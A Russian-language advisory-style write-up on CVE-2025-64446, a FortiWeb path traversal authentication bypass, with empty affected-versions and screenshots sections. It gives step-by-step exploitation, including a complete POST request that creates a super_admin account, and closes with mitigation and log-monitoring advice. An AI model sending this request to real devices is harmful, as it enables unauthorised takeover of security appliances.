---

📌 Обзор

CVE-2025-64446 — это серьёзная уязвимость относительного обхода пути в интерфейсе управления веб-приложением FortiWeb.

Неаутентифицированный удалённый злоумышленник может использовать эту ошибку для обхода аутентификации и создания новых пользователей-администраторов с полными привилегиями, что приводит к полной компрометации устройства.

• Оценка CVSS v3.1: 9.8 (Критический)
• Тип атаки: Удалённая без аутентификации
• Воздействие: Полный захват управления
• Статус: Активно эксплуатируется в реальных условиях

---

🛠️ Затронутые версии

Рекомендация: Обновитесь до последней исправленной версии как можно скорее.

---

🔥 Как злоумышленники эксплуатируют эту уязвимость

Пошаговая эксплуатация

1. Определение цели
   Злоумышленник сканирует общедоступные интерфейсы управления FortiWeb (обычно через HTTPS на порту 443 или 8443).

2. Формирование вредоносного запроса
   Суть эксплойта заключается в относительном обходе пути (../) в сочетании со специально составленным URL, который достигает внутренней конечной точки CGI без аутентификации.

   Шаблон уязвимой конечной точки:

   root@kitploit:~

   /api/v2.0/cmdb/system/admin?.../../../../../../cgi-bin/fwbcgi
   

3. Отправка эксплойта

   Злоумышленник отправляет один POST-запрос с JSON-нагрузкой для создания новой учётной записи администратора.

   Пример запроса эксплойта:

   root@kitploit:~

   POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1
   Host: target-fortiw eb.example.com
   Content-Type: application/json
   
   {
     "name": "hackedadmin",
     "password": "AttackerPass123!",
     "access_profile": "super_admin",
     "type": "local"
   }
   

4. Успешная эксплуатация

   В случае успеха FortiWeb создаёт новую учётную запись администратора без какой-либо предварительной аутентификации. Затем злоумышленник может войти, используя только что созданные учётные данные, и получить полный контроль над WAF.

Почему это работает

API управления не выполняет должную очистку пути, что позволяет запросу вернуться к устаревшему двоичному файлу fwbcgi, который не требует аутентификации для определённых операций.

---

📸 Скриншоты

---

🛡️ Смягчение и лучшие практики

• Немедленно обновите FortiWeb до исправленной версии
• Никогда не открывайте интерфейс управления напрямую в интернет
• Используйте строгую сегментацию сети и VPN для административного доступа
• Отслеживайте журналы на предмет запросов, содержащих fwbcgi, ../ или необычных попыток создания администраторов
• Регулярно проверяйте учётные записи администраторов на подозрительные записи

---